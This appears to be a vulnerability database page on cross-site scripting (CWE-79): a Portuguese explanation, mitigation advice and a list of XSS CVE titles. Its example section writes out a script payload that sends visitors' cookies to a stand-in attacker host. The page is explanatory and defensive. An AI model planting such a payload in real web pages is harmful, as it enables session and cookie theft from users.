Fallos del tipo CWE-79

29.918 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46909MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-22597HIGHWeGIA has a Cross-Site Scripting (XSS) Stored endpoint 'CobrancaController.php' parameter 'local_recepcao'EPSS 0.4%CVE-2025-46956MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-46948MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-3755LOWCreativeitem Atlas Business Directory Listing filter_listings cross site scriptingEPSS 0.4%CVE-2023-3856LOWphpscriptpoint Ecommerce blog-single.php cross site scriptingEPSS 0.4%CVE-2026-17149MEDIUMmyCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program <= 3.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrapper' Shortcode AttributeEPSS 0.4%CVE-2025-46902MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-1507LOWSourceCodester E-Commerce System Category Name controller.php cross site scriptingEPSS 0.4%CVE-2023-3857LOWphpscriptpoint Ecommerce product.php cross site scriptingEPSS 0.4%CVE-2025-30566MEDIUMWordPress Clink plugin <= 1.2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2023-23313MEDIUMCertain Draytek products are vulnerable to Cross Site Scripting (XSS) via the wlogin.cgi script and user_login.cgi script of the router's weEPSS 0.4%CVE-2024-44728HIGHSourcecodehero Event Management System 1.0 allows Stored Cross-Site Scripting via parameters Full Name, Address, Email, and contact# in /cliEPSS 0.4%CVE-2024-29812MEDIUMWordPress ReviewX plugin <= 1.6.22 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-4876MEDIUMHT Mega – Absolute Addons For Elementor <= 2.5.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-46911MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-5826MEDIUMcode-projects Simple IT Discussion Forum edit-category.php cross site scriptingEPSS 0.4%CVE-2025-30770MEDIUMWordPress Charitable plugin <= 1.8.4.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-46906MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-30780MEDIUMWordPress Audio Album plugin <= 1.5.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%